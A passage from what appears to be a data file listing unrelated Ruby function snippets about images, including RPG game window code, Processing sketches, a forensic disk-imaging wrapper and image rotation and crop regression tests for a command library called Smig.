theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\nend", "def metal; end", "def step\n # Draw everything\n @image.draw @screen\n end", "def image_work?\n true\n end", "def main_sprite ; end", "def win; end", "def setImage\n str = @pixbuf.pixels\n str.length.times do |i| str[i] = @image_test[@current][i/3] end\n @pixbuf.pixels = str\n @image.pixbuf = @pixbuf.scale(280,280,Gdk::Pixbuf::INTERP_NEAREST)\n set_title(\"MSI, img ##{@current} => #{@label_test[@current]}\")\n if @edge\n edgifyImage\n end\n end", "def images\n end", "def create_ewf_image(drive_path ,image_output_location)\n ## Make E01 image\n @colour.notify \"Creating E01 image with path #{image_output_location}.E01\"\n @colour.notify 'This may take a while:'\n @colour.notify \"E01 image #{image_output_location}.E01 created\" if system \"ftkimager '#{drive_path}' '#{image_output_location}' --e01\"\nend", "def setup_images\n @default_image = NSImage.imageNamed(\"default.png\")\n @alternate_image = NSImage.imageNamed(\"alternate.png\")\n @highlight_image = NSImage.imageNamed(\"highlight.png\")\n end", "def show_image\n temp_floor_tile = Image.new('tiles\\tile_floor_1.png')\n hex_width = temp_floor_tile.width - 6\n hex_height = temp_floor_tile.width - 4\n temp_floor_tile.remove\n @hexArray.each_with_index do | line, x |\n bottom_y = hex_height * 11\n y_start = bottom_y - (11 - line.size) * (hex_height / 2)\n line.each_with_index do | hex, y |\n cur_x = x * hex_width\n cur_y = y_start - y * hex_height\n\n case hex.type\n when Hex::FLOOR_TYPE\n Image.new('tiles\\tile_floor_1.png', x:cur_x, y:cur_y)\n when Hex::LAVA_TYPE\n Image.new('tiles\\tile_liquid_1.png', x:cur_x, y:cur_y)\n when Hex::EXIT_TYPE\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n Image.new('tiles\\dung_ladderdown.png', x:cur_x, y:cur_y)\n else\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n end\n if hex.contained_object != nil && hex.contained_object.type == MovingObject::PLAYER_TYPE\n Image.new('tiles\\player.png', x:cur_x, y:cur_y)\n end\n end\n end\n end", "def Com4\n @type = \"Picture\"\n @name = \"\"\n @x = 0\n @y = 0\n @commande_window.hide\n @window_command_command = Window_CommandTextSelect.new(@name,@x,@y)\n @window_command_command.set_handler(:CT1, method(:ComPict1))\n @window_command_command.set_handler(:CT2, method(:ComPict2))\n @window_command_command.set_handler(:CT3, method(:ComPict3))\n @window_command_command.set_handler(:cancel, method(:ComPict4))\n @window_command_command.activate\n end", "def initialize(x, y, width, height, image)\n super(x, y, width, height)\n \n @ucImage = UCBackgroundImage.new(self, \"\", 1, 128, 1)\n \n window_update(image)\n end", "def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, YE::SYSTEM::WINDOW_HELP)\n @system_window = Window_System.new(0, 0, 640, 384)\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cWindowSkinsLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGMVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucSFXVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGSVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cBattleAnimLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cAutoDashLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInstantTextLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cDifficultyLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInGameTutoLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cReturnTitleLabel.rect.y, \n @system_window.width-32, 24)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 384, positions, true)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.z = 1000\n if @menu_index != nil\n @command_window.index = @menu_index\n update_help()\n else\n @command_window.index = 0\n end\n\n @last_index = -1\n end", "def initialize(args)\n super(args)\n @hidden = false\n @uri_string = ProjectHanlon.config.hanlon_uri + ProjectHanlon.config.websvc_root + '/image'\n # get the available image types (input type must match one of these)\n @image_types = {\n :mk => {\n :desc => \"MicroKernel ISO\",\n :classname => \"ProjectHanlon::ImageService::MicroKernel\",\n :method => \"add_mk\"\n },\n :os => {\n :desc => \"OS Install ISO\",\n :classname => \"ProjectHanlon::ImageService::OSInstall\",\n :method => \"add_os\"\n },\n :win => {\n :desc => \"Windows Install ISO\",\n :classname => \"ProjectHanlon::ImageService::WindowsInstall\",\n :method => \"add_win\"\n },\n :esxi => {\n :desc => \"VMware Hypervisor ISO\",\n :classname => \"ProjectHanlon::ImageService::VMwareHypervisor\",\n :method => \"add_esxi\"\n },\n :xenserver => {\n :desc => \"XenServer Hypervisor ISO\",\n :classname => \"ProjectHanlon::ImageService::XenServerHypervisor\",\n :method => \"add_xenserver\"\n }\n }\n end", "def create_graphics\n super()\n create_background\n create_type_background\n create_pokemon_battler_stack\n create_pokemon_text_boxes\n create_congratulation_text_boxes\n create_pokemon_stars_animation\n create_graveyard_anim\n create_turning_ball\n create_party_battler_stack\n create_league_champion_text_box\n create_trainer_infos_text_box\n create_end_stars\n end", "def draw_custom_image\r\r\n bitmap = Cache.picture($game_map.ach_display.graphic)\r\r\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\r\r\n target = Rect.new(0,0,contents.width,contents.height)\r\r\n contents.stretch_blt(target, bitmap, rect, 255)\r\r\n end", "def sequence_images\n \n end", "def image_class(class_name)\r\n @@super_image_class = class_name\r\n end", "def window_update(actor)\n if actor != nil\n bodyImg = MENU_CONFIG::BODY_IMAGES[actor.id]\n bitmap = Cache.picture(bodyImg.filename)\n @cBackCharImage.img_bitmap = bitmap\n @cBackCharImage.src_rect = Rect.new(bodyImg.src_rect.x, bodyImg.src_rect.y, \n bitmap.width, bitmap.height)\n end\n refresh()\n end", "def smallworld_image(*args, &block)\n Smallworld::Image.define_smallworld_image(*args, &block)\nend", "def update\n super\n update_bitmap # Update HP Graphic\n update_screen # Update the position the graphic should be displayed\n end", "def victory_screen\n system 'clear'\n 'GAME OVER'\n Catpix::print_image \"victory_screen.jpg\",\n :limit_x => 1.0,\n :limit_y => 0,\n :center_x => true,\n :center_y => true,\n :bg => \"white\",\n :bg_fill => true\n abort(\"See you next time.\".red)\nend", "def initialize(actor)\n super(Input_Window_Settings[0], Input_Window_Settings[1], actor.bar_size + 32, 64)\n self.contents = Bitmap.new(width - 32, height - 32)\n self.z = 4000\n if Input_Window_Bg != nil\n @background_image = Sprite.new\n @background_image.bitmap = RPG::Cache.windowskin(Input_Window_Bg)\n @background_image.x = self.x + Input_Window_Bg_Postion[0]\n @background_image.y = self.y + Input_Window_Bg_Postion[1]\n @background_image.z = self.z - 1\n @background_image.visible = self.visible\n end\n self.back_opacity = Input_Window_Settings[2]\n self.opacity = Input_Window_Settings[2] if Input_Window_Settings[3] \n @actor = actor\n create_input_images if Input_Images\n refresh\n end", "def logo=(_arg0); end", "def launch\n # To be overriden in subclass,\n # not implemented here.\n raise NotImplementedError\n end", "def choose_processors\n [:thumbnail]\n end", "def initialize(iParent)\n super(iParent)\n\n # This attribute will be changed only if the icon is changed.\n # It is used instead of the Wx::BitmapButton::bitmap_label because it can be nil, and in this case we don't want to replace it with the default icon internally.\n @Icon = nil\n \n # Create all components\n lSTTitle = Wx::StaticText.new(self, Wx::ID_ANY, 'Title')\n @TCTitle = Wx::TextCtrl.new(self)\n @TCTitle.min_size = [300, @TCTitle.min_size.height]\n lSTIcon = Wx::StaticText.new(self, Wx::ID_ANY, 'Icon')\n @BBIcon = Wx::BitmapButton.new(self, Wx::ID_ANY, Wx::Bitmap.new)\n evt_button(@BBIcon) do |iEvent|\n # display the icon chooser dialog\n require 'pbs/Windows/ChooseIconDialog'\n showModal(ChooseIconDialog, self, @BBIcon.bitmap_label) do |iModalResult, iDialog|\n case iModalResult\n when Wx::ID_OK\n lNewIcon = iDialog.getSelectedBitmap\n if (lNewIcon != nil)\n @Icon = lNewIcon\n setBBIcon\n end\n end\n end\n end\n\n # Put them in sizers\n lMainSizer = Wx::BoxSizer.new(Wx::VERTICAL)\n lMainSizer.add_item([0,0], :proportion => 1)\n lMainSizer.add_item(lSTTitle, :flag => Wx::ALIGN_CENTRE, :proportion => 0)\n lMainSizer.add_item(@TCTitle, :flag => Wx::GROW, :proportion => 0)\n lIconSizer = Wx::BoxSizer.new(Wx::HORIZONTAL)\n lIconSizer.add_item(lSTIcon, :flag => Wx::ALIGN_CENTRE, :proportion => 0)\n lIconSizer.add_item([8,0], :proportion => 0)\n lIconSizer.add_item(@BBIcon, :flag => Wx::ALIGN_CENTRE, :proportion => 0)\n lMainSizer.add_item([0,8], :proportion => 0)\n lMainSizer.add_item(lIconSizer, :flag => Wx::ALIGN_CENTRE, :proportion => 0)\n lMainSizer.add_item([0,0], :proportion => 1)\n self.sizer = lMainSizer\n\n end", "def win\n end", "def win\n end", "def setup\n\t\tsize(1800,900) ; background(20) ; frame_rate 30 #JR\n\t\t# size(1400,850) ; background(20) ; frame_rate 30\n\t\t@w, @h = [width,height].map{|i|i/2.0} ; @i = 0\n \t@m = [235,18,85]\n\n \ttext_font create_font(\"SanSerif\",25) ; stroke(200,200,200)\n \t# @img = loadImage(\"/Users/Jon/Desktop/craigslist_map2.jpg\")\n \t@img = loadImage(\"/Users/Jon/Desktop/full_santa_fe.png\")\n\tend", "def design_spec( zoom=3, spacing: 1, transparent: nil )\n\n grayscale_img = @img.grayscale ## step 1 - convert to grayscale 0-255 shades of gray\n\n # todo: line - find a better name eg. line_strenght/width or such?\n width = grayscale_img.width*zoom + (grayscale_img.width-1)*spacing\n height = grayscale_img.height*zoom + (grayscale_img.height-1)*spacing\n\n puts \" #{width}x#{height}\"\n\n img = Image.new( width, height, Color::WHITE )\n\n grayscale_img.width.times do |x|\n grayscale_img.height.times do |y|\n pixel = grayscale_img[x,y]\n\n if transparent && pixel == Color::TRANSPARENT ## draw something for transparent?\n pixel = Color.from_hex( '#D3D3D3' ) # lightgray\n offset = (zoom-transparent)/2 ## center in \"zoom\" canvas (assumes transparent < zoom)\n transparent.times do |n|\n transparent.times do |m|\n img[offset + x*zoom+n + spacing*x,\n offset + y*zoom+m + spacing*y] = pixel\n end\n end\n else\n pixel = Color::WHITE if pixel == Color::TRANSPARENT\n zoom.times do |n|\n zoom.times do |m|\n img[x*zoom+n + spacing*x,\n y*zoom+m + spacing*y] = pixel\n end\n end\n end\n end\n end\n img\n end", "def lnbPicture _obj, _args\n \"_obj lnbPicture _args;\" \n end", "def setup\n size 200, 200\n frame_rate 30\n @a = 0\n \n # The background image must be the same size as the parameters\n # into the size method. In this program, the size of \"milan_rubbish.jpg\"\n # is 200 x 200 pixels.\n @background_image = load_image \"milan_rubbish.jpg\"\nend", "def initialize(options = {})\n\t\tsuper\n\t\t@images = []\n\t\tself.input = {:left_mouse_button => :click}\n\tend", "def draw_item_image\n draw_bg_gradient\n if @obj.rename_image\n draw_rename_image\n elsif $imported[\"YEA-ShopOptions\"] && @obj.image\n draw_shop_options_image\n else\n icon_index = @obj.icon_index\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n target = Rect.new(0, 0, 96, 96)\n contents.stretch_blt(target, bitmap, rect)\n end\n end", "def robot_image_generator\n img_base_url = 'https://robohash.org/'\n @robot.img_sm = img_base_url + @robot.robot_name + '?size=80x80'\n @robot.img_lg = img_base_url + @robot.robot_name + '?size=300x300'\n end", "def boot_image_information(opts)\n opts = check_params(opts,[:save_active_config])\n super(opts)\n end", "def initialize title, grid\n\t\t@grid = grid\n\t\tsuper @grid.width * 2, @grid.height * 2, false\n\t\tself.caption = title\n\t\t@counter = 0\n\n\t\t@white = Gosu::Image.new(self, \"white.png\", true)\n\t\t@red = Gosu::Image.new(self, \"red.png\", true)\n\n\t\t@time = Time.now\n\tend", "def initialize(image)\n @image_location = image\n @auto_size = false\n super()\n end", "def create_spriteset_and_background\n super(ext_text(8997, 19))\n end", "def begin_figure\n # do nothing\n end", "def alt; end", "def test03()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n size: imageDimensions,\n name: bitmapContextName)\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(exporterObject, \n bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n # FileUtils.rm_f(tempFile) unless tempFile.nil?\n end\nend", "def test05()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage_a05.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n drawImageElement.contextalpha = 0.5\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n # tempFile = File.join($compareImageDir, baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\n end\nend", "def afficher\n @image.display\n end", "def test02()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n end\n end\nend", "def prepare\n puts \"Preparing #{@date.to_s}\"\n @graphic = ImageList.new\n \n #set background color\n bg_color = @color_scheme['main']\n @graphic.new_image(@calendar.width, @calendar.height) { self.background_color = bg_color }\n \n #add cloud background\n cloud = @graphic.read('cloud.png')\n \n #add daily tasks\n everyday_tasks\n dot\n weekly_task\n dot\n todos\n dot\n \n #add the date at the top\n date_header\n dot\n \n #add the special event\n special_event\n dot\n end", "def train_pixel\n\t\tif CartesianClassifier.train(params[:classname],params[:bands],params[:author])\n\t\t\trender :text => \"trained as '\"+params[:classname]+\"', you happy now?\", :layout => false\n\t\telse\n\t\t\trender :text => \"failed to train\", :layout => false\n\t\tend\n\tend", "def test01()\n imageFile = $directory + \"/images/DSCN0724.JPG\"\n baseImageName = \"croppedpaddedimage.jpg\"\n begin\n # Create the object that will contain the list of the commands\n theCommands = CommandModule::SmigCommands.new\n \n # Set the output of the command to \"lastcommandresult\" which means when the\n # list of commands is run, only the result of the last command to be run\n # is returned. If the command list is set up to stop on failure then we\n # get the result of the failed command.\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the image importer object. First generate its name, \n importerName = SecureRandom.uuid\n # then create the importer with the path to the file and the name\n\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n\n # The cleanup commands are run after completion of the main command list.\n # They run whether the main command list ran without error or not.\n # They return no information, all commands in the cleanup command list are\n # run no matter whether an earlier command in the clean up list failed or\n # or not.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n\n # Create the bitmap context object. First generate its name.\n bitmapContextName = SecureRandom.uuid\n\n # Use spotlight to find out the dimensions of the original image so\n # we can create the appropriate sized bitmap context.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n size: imageDimensions,\n# width: imageDimensions[0],\n# height: imageDimensions[1],\n preset: \"AlphaPreMulFirstRGB8bpcInt\",\n name: bitmapContextName)\n \n # Create the bitmap context object id so we can refer it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Now add the create importer and bitmap context commands to command list\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n # Start preparing the drawing element action.\n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.sourcerectangle = sourceRect\n drawImageElement.destinationrectangle = destRect\n \n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Now add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n \n # Setup the create image exporter command with a path to export the file\n # to, within the users temporary directory.\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Create the image exporter object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n\n # Create the image exporter object id so we can refer it later on.\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n\n # Add the create image exporter object command to the list of commands.\n theCommands.add_command(createExporterCommand)\n \n # Now create the add image to image exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n \n # Add the addimage to exporter object command to the list of commands.\n theCommands.add_command(addImageToExporterCommand)\n \n # Create the export image file command and add it to the list of commands.\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # Everything is set up, now perform the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n \n # We've generated a new image file, now compare it against one we made\n # earlier.\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n end\n end\nend", "def test04()\n begin\n origModes = \"kCGBlendModeNormal kCGBlendModeMultiply kCGBlendModeScreen \"+\n \"kCGBlendModeOverlay kCGBlendModeDarken kCGBlendModeLighten \" + \n \"kCGBlendModeColorDodge kCGBlendModeColorBurn kCGBlendModeSoftLight \" +\n \"kCGBlendModeHardLight kCGBlendModeDifference kCGBlendModeExclusion \" +\n \"kCGBlendModeHue kCGBlendModeSaturation kCGBlendModeColor \" +\n \"kCGBlendModeLuminosity 